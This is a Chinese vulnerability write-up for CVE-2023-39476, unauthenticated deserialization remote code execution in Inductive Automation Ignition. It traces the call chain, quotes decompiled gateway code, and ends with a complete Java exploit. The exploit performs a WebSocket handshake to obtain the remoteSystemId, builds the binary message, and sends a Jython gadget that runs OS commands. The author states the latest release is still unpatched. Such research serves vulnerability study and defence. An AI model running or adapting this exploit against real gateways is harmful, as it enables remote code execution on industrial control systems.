CVE-2023-39476 Inductive Automation Ignition JavaSerializationCodec Deserialization RCE
2023-9-1 11:56:51 Author: xz.aliyun.com(查看原文) 阅读量:30 收藏

根据公告来看 https://www.zerodayinitiative.com/advisories/ZDI-23-1046/ 未授权,反序列化点在JavaSerializationCodec,漏洞比较特殊,可能是设计问题,找找吧。

ignition-8.1.30-windows-64-installer.exe 一直下一步就行了

进程树里典型的wrapper程序

服务里指定了配置文件

"C:\Program Files\Inductive Automation\Ignition\IgnitionGateway.exe" -s "C:\Program Files\Inductive Automation\Ignition\data\ignition.conf"

取消注释开启remote jvm debug,classpath在

  1. lib/wrapper.jar
  2. lib/core/common/*
  3. lib/core/gateway/*

所以把这三个目录里的jar拷贝出来创建项目加到lib里远程调试打断点。

我习惯先通过sink点的调用关系反推找到source点,然后再正向构造payload。

JavaSerializationCodec实现MessageCodec接口

com.inductiveautomation.metro.impl.codecs.JavaSerializationCodec

decode中用了 ObjectInputStream.readObject 朴实无华,找调用链就行了,通过jadx找到 com.inductiveautomation.metro.impl.transport.ServerMessage#decodePayload

继续向上回溯到 com.inductiveautomation.metro.impl.ConnectionWatcher#handleConnectionMessage

继续 com.inductiveautomation.metro.impl.ConnectionWatcher#handle

再向上回溯

到 forward 再到 onDataReceived

onDataReceived 向上到 com.inductiveautomation.metro.impl.protocol.websocket.servlet.DataChannelServlet#doPost

DataChannelServlet继承自HttpServlet 自身字段定义了SERVLET_NAME和url

猜测是动态创建的路由,于是寻找对SERVLET_NAME字段的引用,在 com.inductiveautomation.metro.impl.protocol.websocket.WebSocketFactory#getRequiredServletsExternal中找到了

回溯 com.inductiveautomation.ignition.gateway.gan.WSChannelManager#getServletsToInstall -> com.inductiveautomation.ignition.gateway.gan.WSChannelManager#restartChannels(java.util.Optional<com.inductiveautomation.metro.api.ServerId>)

可以路由地址为/system/ws-datachannel-servlet,ok,到这就找到了完整的调用路径,接下来一步步构造即可。

请求包并不好构造,涉及到很多坑,我接下来慢慢讲。

请求 /system/ws-datachannel-servlet 返回403

调试发现在com.inductiveautomation.metro.impl.protocol.websocket.servlet.DataChannelServlet#service

会判断是否是ssl请求,并且和设定的端口进行比对,而boolean useSsl = webSocketFactory.isUseSsl()的值取决于管理员设置,默认为true,在后台这个地方可以设置。

取消勾选此选项即可就不会返回403了,这里思考一个问题,http不是默认配置,那https呢?尝试访问8060端口,返回ERR_BAD_SSL_CLIENT_AUTH_CERT,应该是mtls双向认证,和mr_me沟通了一下,他说需要配置一些ssl的东西,我配置了半天,没弄明白,这个得等mr_me的文章了。

但是再思考一下,如果这个漏洞需要手动配置ssl,还算是默认配置吗?想了想这个默认配置的定义,然后觉得无所吊谓,能打就行,能学到东西就行,瞬间释然了。扯远了,接着说漏洞。

发post包我们需要进入2标,需要满足1标不为空的前提

1标的值取决于this.incoming,这个时候我通过查找putIncomingConnection的调用关系,将目光锁定在另一个servlet com.inductiveautomation.metro.impl.protocol.websocket.servlet.WebSocketControlServlet上,猜测是用这个来注册websocket链接就可以了。

WebSocketControlServlet继承自JettyWebSocketServlet,websocket会进行协议升级

org.eclipse.jetty.websocket.core.server.internal.AbstractHandshaker#upgradeRequest

在协商时

org.eclipse.jetty.websocket.core.server.internal.CreatorNegotiator#negotiate

this.creator.createWebSocket(upgradeRequest, upgradeResponse) 创建了websocket

com.inductiveautomation.metro.impl.protocol.websocket.WebSocketFactory#createWebSocket 会校验参数,并且会校验ssl信息和ip地址

public Object createWebSocket(JettyServerUpgradeRequest req, JettyServerUpgradeResponse resp) {
    String methodName = "createWebSocket";
    String remoteSystemName = null;
    String remoteUuid = "";
    boolean requestSecure = req.isSecure();
    if (this.useSsl && !requestSecure) {
        this.logger.debug("createWebSocket", "Incoming insecure websocket upgrade request is not allowed (SSL / TLS is required in settings)");
        return this.sendError(resp, 403, "Bad scheme");
    } else {
        HttpServletRequest httpServletRequest = req.getHttpServletRequest();
        int requestPort = httpServletRequest.getLocalPort();
        String protocol;
        int localPort;
        if (requestSecure) {
            protocol = "https";
            localPort = this.localHttpsPort;
        } else {
            protocol = "http";
            localPort = this.localHttpPort;
        }

        if (requestPort != localPort) {
            this.logger.debug("createWebSocket", String.format("Incoming %s request port %d is not allowed (expected %d)", protocol, requestPort, localPort));
            return this.sendError(resp, 403, "Bad port");
        } else {
            Map<String, List<String>> params = req.getParameterMap();
            List<String> nameParts = (List)params.get("name");
            if (nameParts.isEmpty()) {
                this.logger.error("createWebSocket", String.format("Request parameter '%s' was not sent during web socket connect request", "name"), (Throwable)null);
            } else {
                remoteSystemName = (String)nameParts.get(0);
            }

            List<String> urlParts = (List)params.get("url");
            String remoteAddr;
            if (urlParts.isEmpty()) {
                remoteAddr = String.format("Request parameter '%s' was not sent during web socket connect request", "url");
                this.logger.error("createWebSocket", remoteAddr, (Throwable)null);
                return this.sendError(resp, 400, remoteAddr);
            } else {
                String remoteSystemUrlStr = (String)urlParts.get(0);
                remoteAddr = httpServletRequest.getRemoteAddr();
                if (!remoteSystemUrlStr.contains(remoteAddr)) {
                    String[] split = remoteSystemUrlStr.split(":");
                    remoteSystemUrlStr = split[0] + "://" + remoteAddr + ":" + split[2];
                }

                URL remoteSystemUrl;
                try {
                    remoteSystemUrl = new URL(remoteSystemUrlStr);
                } catch (MalformedURLException var22) {
                    this.logger.error("createWebSocket", String.format("The URL request parameter '%s' is not a valid URL", remoteSystemUrlStr), (Throwable)null);
                    return this.sendError(resp, 400, "The URL request parameter is not a valid URL");
                }

                List<String> uuidParts = (List)params.get("uuid");
                if (uuidParts != null && !uuidParts.isEmpty()) {
                    remoteUuid = (String)uuidParts.get(0);
                }

                this.logger.debug("createWebSocket", String.format("Incoming connection from: '%s', remoteSystemName='%s', uuid='%s'", remoteSystemUrl, remoteSystemName, remoteUuid));
                RemoteSystemId remoteSystemId = StringUtils.isBlank(remoteUuid) ? new RemoteSystemIdURL(remoteSystemUrlStr, remoteSystemName) : new RemoteSystemIdUUID(remoteUuid, remoteSystemName);
                if (this.connectionSecurityPlugin != null) {
                    String securityMsg = this.connectionSecurityPlugin.checkConnection((RemoteSystemId)remoteSystemId, String.valueOf(remoteSystemUrl));
                    if (securityMsg.startsWith("SecurityFail:")) {
                        this.logger.debug("onConnect", securityMsg);

                        try {
                            resp.sendForbidden("Approval required");
                        } catch (IOException var21) {
                        }

                        return null;
                    }
                }

                MetroWebSocket newReceiver = new MetroWebSocket(this, (RemoteSystemId)remoteSystemId, remoteSystemUrl, Direction.Incoming, requestSecure);
                RemoteSystemIdUUID localId = new RemoteSystemIdUUID(this.getLocalSystemUUID(), this.getLocalSystemId());
                resp.setHeader("remoteSystemId", localId.toString());
                return newReceiver;
            }
        }
    }
}

this.connectionSecurityPlugin.checkConnection((RemoteSystemId)remoteSystemId, String.valueOf(remoteSystemUrl)) 会判断当前的ip传入策略

同样这里需要改为Unrestricted,或者加上白名单IP才行

接着构造websocket向172.16.1.152:8088/system/ws-control-servlet发包,我这里用本地js发

<script>
    let socket = new WebSocket("ws://172.16.1.152:8088/system/ws-control-servlet?name=q&uuid=6a7e39e1-1ca4-405f-bfb3-6d971d6e7211&url=http://172.16.1.152:8088/system");
    socket.onopen = function (e) {
        alert("[open] Connection established");
        socket.send("My name is John");
    };

    socket.onmessage = function (event) {
        alert(`[message] Data received from server: ${event.data}`);
    };

    socket.onclose = function (event) {
        if (event.wasClean) {
            alert(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
        } else {
            // 例如服务器进程被杀死或网络中断
            // 在这种情况下,event.code 通常为 1006
            alert('[close] Connection died');
        }
    };

    socket.onerror = function (error) {
        alert(`[error] ${error.message}`);
    };
</script>

成功通过onmessage拿到data remoteConnectionId=ignition-win-a4201ucqfrn

此时在 com.inductiveautomation.metro.impl.protocol.websocket.servlet.DataChannelServlet#doPost 中就可以满足非空条件了。

然后正常进入onDataReceived -> ... -> ... -> readObject

放出堆栈供大家借鉴

readObject:-1, ObjectInputStream (java.io)
decode:65, JavaSerializationCodec (com.inductiveautomation.metro.impl.codecs)
decodePayload:151, ServerMessage (com.inductiveautomation.metro.impl.transport)
handleConnectionMessage:393, ConnectionWatcher (com.inductiveautomation.metro.impl)
handle:442, ConnectionWatcher (com.inductiveautomation.metro.impl)
handle:45, ConnectionWatcher (com.inductiveautomation.metro.impl)
forward:1420, WebSocketConnection (com.inductiveautomation.metro.impl.protocol.websocket)
onDataReceived:1313, WebSocketConnection (com.inductiveautomation.metro.impl.protocol.websocket)
doPost:262, DataChannelServlet (com.inductiveautomation.metro.impl.protocol.websocket.servlet)
service:523, HttpServlet (javax.servlet.http)
service:188, DataChannelServlet (com.inductiveautomation.metro.impl.protocol.websocket.servlet)
service:590, HttpServlet (javax.servlet.http)
service:86, MapServlet (com.inductiveautomation.ignition.gateway.bootstrap)

有readObject并不意味着rce,我们需要gadget,看了看lib好像有jython,想着去ysoserial找一找,然后发现了mr_me的现成的 https://github.com/frohoff/ysoserial/pull/200/ 哈哈哈,想睡觉就来枕头啊。

整理一下攻击流程,首先通过websocket获取remoteConnectionId,然后构造java序列化数据包发送即可rce。

这里给出java11用HttpClient发送恶意请求包的exp

package org.example;

import org.python.core.PyMethod;
import org.python.core.PyObject;
import org.python.core.PyString;
import org.python.core.PyStringMap;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        String url = "http://172.16.1.152:8088";
        System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Connection,Upgrade");
        HttpClient httpClient = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(30))
//                .proxy(ProxySelector.of(InetSocketAddress.createUnresolved("127.0.0.1", 8080)))
                .build();
        String name = "qq";
        String uuid = "1a7e39e1-1ca4-405f-bfb3-6d971d6e7211";
        HttpRequest request = HttpRequest.newBuilder()
                .uri(URI.create(String.format("%s/system/ws-control-servlet?name=%s&uuid=%s&url=http://localhost:8088/system", url, name, uuid)))
                .GET()
                .header("Connection", "Upgrade").header("Sec-WebSocket-Version", "13").header("Sec-WebSocket-Key", "cJA5QIfEfnrZr7rrJ+3urg==").header("Upgrade", "websocket")
                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
                .build();
        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
        List<String> headerForRemoteSystemID = response.headers().map().get("remoteSystemId");
        if (headerForRemoteSystemID.size() < 1) {
            System.out.println("[X] can't get remoteSystemId");
        }
        String remoteSystemId = headerForRemoteSystemID.get(0).split("\\|")[0];
        System.out.println("remoteSystemId=" + remoteSystemId);

        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        DataOutputStream dataOutputStream = new DataOutputStream(stream);
        dataOutputStream.writeInt(18753);   // magicBytes
        dataOutputStream.writeInt(1);       // protocolVersion

        // messageId
        dataOutputStream.writeShort(1);
        //opCode
        dataOutputStream.writeInt(1);
        //subCode
        dataOutputStream.writeInt(1);
        //flags
        dataOutputStream.writeByte(1);

        //senderId
        dataOutputStream.writeShort(name.length());
        // 这里和websocket中的name参数保持一致
        dataOutputStream.writeChars(name);
        //targetAddress
        dataOutputStream.writeShort(remoteSystemId.length());
        dataOutputStream.writeChars(remoteSystemId);

        //senderUrl
        dataOutputStream.writeShort(1);
        dataOutputStream.writeChar(47);

        // readObject for ServerMessage
        dataOutputStream.writeInt(1);

        Class<?> aClass = Class.forName("com.inductiveautomation.metro.impl.transport.ServerMessage$ServerMessageHeader");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructors()[1];
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance("_conn_svr", "_js_");

        Field headersValues = o.getClass().getDeclaredField("headersValues");
        headersValues.setAccessible(true);
        HashMap map = (HashMap) headersValues.get(o);
        map.put("_source_", remoteSystemId);
        map.put("replyrequested", "true");

        byte[] bs = serialize(o);

        dataOutputStream.writeInt(bs.length);
        dataOutputStream.write(bs);

        // evil payload
        byte[] serialize = serialize(getObj("calc"));
        dataOutputStream.write(serialize);


        HttpRequest request1 = HttpRequest.newBuilder(URI.create(url + "/system/ws-datachannel-servlet"))
                .POST(HttpRequest.BodyPublishers.ofByteArray(stream.toByteArray()))
                .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36")
                .build();
        HttpResponse<String> httpResponse = httpClient.send(request1, HttpResponse.BodyHandlers.ofString());
        System.out.println(httpResponse.body());

    }

    public static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(stream);
        objectOutputStream.writeObject(o);
        objectOutputStream.flush();
        objectOutputStream.flush();
        stream.flush();

        return stream.toByteArray();
    }

    public static Object getObj(String cmd) throws Exception {
        Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
        Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
        c.setAccessible(true);
        Object builtin = c.newInstance("rce", 18, 1);
        PyMethod handler = new PyMethod((PyObject) builtin, null, new PyString().getType());
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        HashMap<Object, PyObject> myargs = new HashMap<>();
        myargs.put("cmd", new PyString(cmd));
        PyStringMap locals = new PyStringMap(myargs);
        Object[] queue = new Object[]{new PyString("__import__('os').system(cmd)"), // attack
                locals,                                       // context
        };
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, queue);

        Field declaredField = priorityQueue.getClass().getDeclaredField("size");
        declaredField.setAccessible(true);
        declaredField.set(priorityQueue, 2);
        return priorityQueue;
    }
}

从官网下的最新版 ignition-8.1.31-windows-64-installer 仍未修复,不过还是需要关闭ssl,并且配置IP策略为Unrestricted才行。

花了两天时间才看完这个洞,其中碰到了很多问题,写文章的时候一时半会想不起来了,可能会有疏漏。


文章来源: https://xz.aliyun.com/t/12813
如有侵权请联系:admin#unsafe.sh